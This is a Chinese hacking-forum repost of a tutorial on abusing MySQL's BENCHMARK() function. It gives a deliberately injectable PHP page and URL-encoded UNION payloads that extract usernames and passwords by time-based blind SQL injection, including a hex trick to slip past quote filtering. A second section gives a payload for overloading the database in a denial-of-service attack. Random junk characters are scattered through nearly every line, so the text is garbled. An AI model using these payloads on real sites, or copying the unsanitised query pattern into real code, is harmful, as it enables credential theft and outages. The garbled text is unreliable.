找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2219|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用 % Y2 G6 C6 |3 b+ A7 ^9 G0 h
本文作者:SuperHei" l1 W3 v9 V& n9 I
文章性质:原创
8 l7 ?4 ~  z5 [1 W7 T, ^发布日期:2005-01-02! s  U5 U# ~3 s2 O8 N
完成日期:2004-07-09 + x# J0 H' F1 d. v) B
第一部+ |* Q7 h2 A6 F, Y, m# M
; J& T0 q2 W% f9 z0 w
利用时间推延进行注射---BENCHMARK函数在注射中的利用
" q5 M, s. Y( j. x' x; i
' l  K; i' F2 s2 _一.前言/思路: E: L, H; w' _1 T- ^" _
1 X2 e! ^0 ?+ D8 C
  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。# h9 a& o& c/ Y% b3 r

, M: Z% t( ?9 X& i0 S0 `( r1 Y  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
: R, E0 F: F- Y7 V: w; Y- T6 d: n
( j4 s- n/ |2 {: T二.关于BENCHMARK函数& V1 d. D2 Q- s) K  `! B
6 I% x2 n( k  L
  在MySQL参考手册里可以看到如下描叙: " F* E: k# k/ y( B' `8 _, e0 d

' r% P( F) w& g
! \' [4 a+ }4 W' L5 x--------------------------------------------------------------------------------
$ _: W! V) t- ?- o
1 E1 m4 p1 R8 l6 F9 IBENCHMARK(count,expr) # x+ @# l' c/ Z) ]4 C  e/ Q
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 ; ~' q0 m! g- b/ _& O
mysql> select BENCHMARK(1000000,encode("hello","goodbye")); / c/ k4 E# j# z( Z* n/ K
+----------------------------------------------+
' q9 P: }8 r/ Z+ O" E| BENCHMARK(1000000,encode("hello","goodbye")) |
+ X4 ^6 T6 W6 ^8 a% u$ j+----------------------------------------------+
+ r" S- A8 N: g3 p* F| 0 |
0 N% \: |2 j) e( m. \2 R4 o+----------------------------------------------+
2 B9 [6 M* @; _; m, O1 row in set (4.74 sec)
4 C; D' r: u& x0 n
4 F' m: F8 S! b报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。8 ~- J$ O' }1 m  P

) }* h6 q: E- M9 M# J
8 `5 o6 D) x2 o1 l& \; U1 ?--------------------------------------------------------------------------------' a/ G# V+ ~4 O0 B* \7 Y1 v& p, a
6 m% ?3 ^3 o6 q- }) o2 l8 q" M$ U
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: ( i7 H% t6 a! o) _+ L/ r

5 C  k. n* o$ {+ e: @; xmysql> select md5( 'test' );
% o2 M& v% F7 s1 r+----------------------------------+
* O6 i8 K! p8 D) P| md5( 'test' ) |
9 w4 [- f# h' a( D$ W5 H+----------------------------------+
; B! x; C+ I8 W1 v| 098f6bcd4621d373cade4e832627b4f6 | & l" Q# O* B' o- `
+----------------------------------+
9 K" ~0 X; v$ p7 n1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
* a2 Q* w: o% `1 T3 k% y
, [, B2 K9 E  I7 T) Amysql> select benchmark( 500000, md5( 'test' ) ); " X& I" A# ]) ], }. }$ Q
+------------------------------------+ % K  G) q  _# y) v' Y- m
| benchmark( 500000, md5( 'test' ) ) | , n+ l* @: s9 _
+------------------------------------+
8 I) l$ i" M: v+ G: R* a$ i& F: e| 0 | ( {3 m! z& _+ W2 o3 \3 n4 h
+------------------------------------+ 1 V( Y6 N; I8 s3 p
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
1 M1 [$ T+ f) [, Y
7 n2 |6 X$ W8 T, I  e' |5 B
& P5 l: T) Y5 J  x, J1 D4 S3 d- c  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
! L3 Q1 ^) `- p! K* \. e, u# g! n+ c9 Y2 m
三.具体例子$ v! Z1 R7 ^; ~6 S$ ^
! v; v' g, [8 D8 e/ s0 y
  首先我们看个简单的php代码:( c! }5 ]' |' p. h) h5 v- c
1 _0 F( h, _+ [: t
< ?php : j% Y/ l/ G2 x
$servername = "localhost"; * {6 D0 n/ X. a8 l4 n
$dbusername = "root";
4 ~% K: S7 F7 t* s2 X+ ~1 t6 F0 T6 B$dbpassword = "";
+ I/ R8 X; x6 |9 C" n1 M  V5 m$dbname = "injection"; 8 F: B. l$ G( `! g( X4 n
' R+ n6 i* {3 W6 h' D
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); ) r. y$ }/ K. u! K/ x4 m: K

! M6 F2 _7 e! q; f$sql = "SELECT * FROM article WHERE articleid=$id"; * l: {3 d. B9 r9 n) b
$result = mysql_db_query($dbname,$sql); $ A7 e: o6 ]3 e/ z9 w
$row = mysql_fetch_array($result);
5 z% {! b, s4 o& V8 l$ ]" |8 ]" m( g1 U0 q" x, V- e! P+ a
if (!$row)
5 t& r. L6 c7 N# A6 {{
2 r& g# D* U# M1 n0 d+ sexit;
! E; P8 q! ~) w& T}
9 ^. `  i9 a4 @- D% w( I3 k5 m3 B: L?>4 t, Q; a  l9 I% @; m  c: P
' I/ q- w" l7 P1 U

5 ?9 s/ S' R& g: C  数据库injection结构和内容如下:
5 N. H! s, V: O- b; `, O; k# J- i  C
# 数据库 : `injection` % l+ e6 _9 U7 c; }  d. G
#
0 @3 c6 w6 e3 k1 k
9 H. i9 U5 D: M0 Q! Q# -------------------------------------------------------- 0 k: \- H9 A! K0 f

+ I" P6 U8 y2 p9 A2 V#
0 z; g4 A/ E$ N6 X# 表的结构 `article` 1 C9 j* g7 ?" F' F+ O7 K
# 7 P& G6 S8 K( l* X

$ t6 a0 ]3 S& [2 P' z5 u) [CREATE TABLE `article` (   O2 s# M9 n2 h: O4 y
`articleid` int(11) NOT NULL auto_increment, / _/ R+ c. i; R% c4 ^& w( X
`title` varchar(100) NOT NULL default '',
: ~" H' i" n$ p- I  f`content` text NOT NULL, . o  r* H) l( t( s( G
PRIMARY KEY (`articleid`)
* N/ R+ N# D5 Y( c% S, A7 w) TYPE=MyISAM AUTO_INCREMENT=3 ; " z8 J5 D' V, W' y- e3 c

! e7 g4 f8 |& G8 J7 G( C# 9 i. v' h' s$ S  l2 x
# 导出表中的数据 `article`
" j2 `; a1 i, \  A#
: ]5 C4 N9 S3 L9 `
9 P4 h3 G* Y; P0 p3 K( oINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
6 H$ [$ |+ P8 i& x7 o' \  c: Q9 `! GINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); 1 y" N# P8 \9 R+ R: ]

/ y; O5 [$ `; d. P5 o  W# -------------------------------------------------------- % C1 c' K' h/ R1 u. m
3 O! j2 f5 e$ A' P
#
  a0 k3 z. K" S/ i9 D3 R% c9 ~1 ?: K4 l4 F# 表的结构 `user` . }. S; w& _8 D% I# o& f
#
7 Z% n, ~2 l; e+ ]- w0 m; \' g1 M/ @( E. j9 [. s0 L
CREATE TABLE `user` (
, N" _/ s. e8 T) p`userid` int(11) NOT NULL auto_increment, 8 J4 `! b+ ~5 m" q% g8 x2 N
`username` varchar(20) NOT NULL default '',
9 \1 z% m! F& y- y`password` varchar(20) NOT NULL default '',
# I( b! U+ M- {/ [2 PPRIMARY KEY (`userid`)
+ P* D# ~6 r8 ]2 a! o+ }* x) TYPE=MyISAM AUTO_INCREMENT=3 ; " i; w+ s5 m% d% {

& E( {/ t/ S4 H2 x4 }0 q#
5 f, E$ _6 |9 K2 p- Z% c, M" G# 导出表中的数据 `user` ) a- i6 w- w, y4 K
# # O  g: }3 R, `( S
" ?2 f  n- \& k. ?2 z# w7 d
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
1 C& U! K  t" `& `8 A; dINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');* h1 Y  Z  W/ k- i) ]; J. a( @; w

% c2 Z8 D+ e1 z  X, E+ o2 l# ]1 f2 }$ J6 e
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:; {+ {! c: g% U$ o% R# _: M4 Z
3 U" q9 i+ H+ s+ |+ y% ~
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*0 }! e% I8 D0 D& N2 d& l5 e! V' Y

0 ]; A- {/ G. b1 e6 K- |
4 S; w* b/ B/ u# r4 A  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:2 r5 q4 U( K+ G

7 @* H$ C8 `( n: t, U. c4 \5 |6 `http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
" x( z/ N# m% O2 N* o+ u 8 v! v1 F) R, w) V3 |2 n
/ X3 [) i5 U+ ~. p' q  y
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
3 ]3 D/ r/ `& Z) P6 B- P
3 e# S/ n1 u/ \: E' C  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 ! j7 n. L' i4 ?! c: r
7 _# h5 P4 J1 x6 T9 h8 E* A3 n
第二部
* C7 s2 J8 e$ q3 c/ T. H5 _6 @+ l3 R5 E& J7 y: t
利用BENCHMARK函数进行ddos攻击
! a+ l9 `' L- z: D& \, V; v
. G" D7 J" m( Z- S/ X  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:5 O# b( B. g; p

0 p/ v$ H, w! z: R2 v% Q$ r2 b9 ahttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41)). E4 y; _! r  D( p( P7 s9 g
% o' f3 L& E- L' B2 o- f& n
3 L! g  K% i7 i" r- }$ M' ~9 b* u# t
小结4 ]: x3 T9 V, C5 v
! T- N6 |1 V4 x0 z& X$ \* D. Q
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
" X* ^, X9 T; S  Q. m9 `  ~
* S$ r2 s) j) ]0 u  
) O1 P, Q* }2 s: R+ _
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表